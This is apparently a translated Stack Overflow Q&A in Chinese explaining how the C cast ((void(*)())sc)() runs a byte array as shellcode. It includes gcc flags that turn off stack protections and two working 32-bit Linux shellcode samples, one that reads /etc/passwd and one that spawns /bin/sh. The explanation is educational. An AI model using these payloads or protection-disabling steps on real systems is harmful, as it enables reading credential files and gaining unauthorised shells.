[英]what does (void(*)() sc) () mean?
unsigned char sc[] =
(一些长的二进制字符串)
int main()
{
((void(*)())sc)();
return 0;
}
(void(*)() sc) ()
在这里是什么意思? 我在 StackoverFlow 中看到“ *void(*)()
表示不带参数的 void function”。 ` 我有三个问题
首先,正如上面的评论,我认为上面的代码必须在void(*)
之前“ *
”。 但是,没有指针“*”,它运行良好。
其次,“ void(*)()
sc 被()()
包裹,例如(void(*)() sc)()
。有两次使用“ ()
”
第三,为什么它工作? 常见的,当我们调用一个function时,我们通常只写function的名字,比如function1(a, b); “ (void(*)() sc )()
”只是初始化..所以我认为 sc 尚未使用。 但是它运作良好。
这是在 main.js 中执行任何 shellcode 的技巧。
一起来分析一下好吗? (function 声明,不是你的 shellcode):
(void(*)() sc ) ();
首先让我们谈谈sc。 sc
是一个被分配了 shellcode 的字节数组,这意味着任何事情都可能发生(因此它被正确地编辑了)。
然后将其转换为 function,确切地说是 function ptr:
void(*)() sc
使用 void(*)() 您只需将 shellcode 转换为 function 指针,这意味着如果我们调用此 function ptr,如您所注意到的那样不带任何参数,它将指向 unsigned char 数组的第一个字节。 编译器会将您的 char 数组解释为要转换为机器代码的原始字节。
注意:无符号字符是一个字节。
最后是尾随();
要求 function 在您启动程序后立即执行,用括号括起来。
简而言之,这是一种方便的方法来告诉 eip(保存程序下一次执行地址的寄存器)指向您的字节数组并轻松测试不同的 shellcode。
请注意,正如 dxiv 所述,这在阻止代码从数据区域执行的环境中不起作用,因为您的 function ptr 指向数据段。
如果要使其工作,则需要使用以下标志进行编译以启用 exacstack -z execstack
,如果它是 32 位的 shellcode,则可能还有-fno-stack-protector
和-m32
:
gcc -m32 -fno-stack-protector -z execstack shellcode.c && ./a.out
读取 /etc/passwd (linux) 的示例:
unsigned char sc[] =
"\x31\xc9"
"\xf7"
"\xe1\xb0"
"\x05"
"\x51\x68"
"\x73\x73\x77"
"\x64"
"\x68"
"\x63"
"\x2f\x70\x61"
"\x68" "\x2f"
"\x2f\x65\x74"
"\x89" "\xe3"
"\xcd\x80\x93"
"\x91"
"\xb0"
"\x03\x31\xd2"
"\x66" "\xba"
"\xff\x0f\x42"
"\xcd""\x80"
"\x92" "\x31"
"\xc0\xb0\x04"
"\xb3" "\x01"
"\xcd" "\x80"
"\x93\xcd\x80";
int main()
{
((void(*)())sc)();
return 0;
}
再开一个shell的例子:
#include <unistd.h>
unsigned char sc[] =
"\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80";
int main()
{
((void(*)())sc)();
return 0;
}
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.